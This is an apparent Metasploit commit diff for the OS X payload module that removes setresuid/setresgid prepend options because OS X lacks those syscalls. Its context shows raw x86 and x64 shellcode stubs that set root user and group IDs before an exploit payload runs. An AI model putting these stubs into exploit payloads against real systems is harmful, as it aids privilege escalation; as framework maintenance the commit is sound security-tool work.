The setres* stubs are not implemented in OSX.

Author: joevennix

lib/msf/core/payload/osx.rb

@@ -19,13 +19,6 @@ def initialize(info = {})
 
     register_advanced_options(
       [
-        Msf::OptBool.new('PrependSetresuid',
-          [
-            false,
-            "Prepend a stub that executes the setresuid(0, 0, 0) system call",
-            false
-          ]
-        ),
         Msf::OptBool.new('PrependSetreuid',
           [
             false,
@@ -40,13 +33,6 @@ def initialize(info = {})
             false
           ]
         ),
-        Msf::OptBool.new('PrependSetresgid',
-          [
-            false,
-            "Prepend a stub that executes the setresgid(0, 0, 0) system call",
-            false
-          ]
-        ),
         Msf::OptBool.new('PrependSetregid',
           [
             false,
@@ -89,16 +75,6 @@ def apply_prepends(buf)
   end
 
   def handle_x86_osx_opts(pre, app)
-    if (datastore['PrependSetresuid'])
-      # setresuid(0, 0, 0)
-      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x66\xb8\x37\x01"     +#   movw    $0x0137,%ax                #
-             "\xcd\x80"              #   int     $0x80                      #
-    end
 
     if (datastore['PrependSetreuid'])
       # setreuid(0, 0)
@@ -119,17 +95,6 @@ def handle_x86_osx_opts(pre, app)
              "\xcd\x80"              #   int     $0x80                      #
     end
 
-    if (datastore['PrependSetresgid'])
-      # setresgid(0, 0, 0)
-      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x50"                 +#   pushl   %eax                       #
-             "\x66\xb8\x38\x01"     +#   movw    $0x0138,%ax                #
-             "\xcd\x80"              #   int     $0x80                      #
-    end
-
     if (datastore['PrependSetregid'])
       # setregid(0, 0)
       pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
@@ -159,10 +124,6 @@ def handle_x86_osx_opts(pre, app)
   end
 
   def handle_x64_osx_opts(pre, app)
-    if (datastore['PrependSetresuid'])
-      # setresuid(0, 0, 0)
-      raise RuntimeError, "setresuid syscall is not implemented on x64 OSX systems"
-    end
 
     if (datastore['PrependSetreuid'])
       # setreuid(0, 0)
@@ -185,11 +146,6 @@ def handle_x64_osx_opts(pre, app)
              "\x0f\x05"             # syscall
     end
 
-    if (datastore['PrependSetresgid'])
-      # setresgid(0, 0, 0)
-      raise RuntimeError, "setresgid syscall is not implemented on x64 OSX systems"
-    end
-
     if (datastore['PrependSetregid'])
       # setregid(0, 0)
       pre << "\x41\xb0\x02"         +# mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)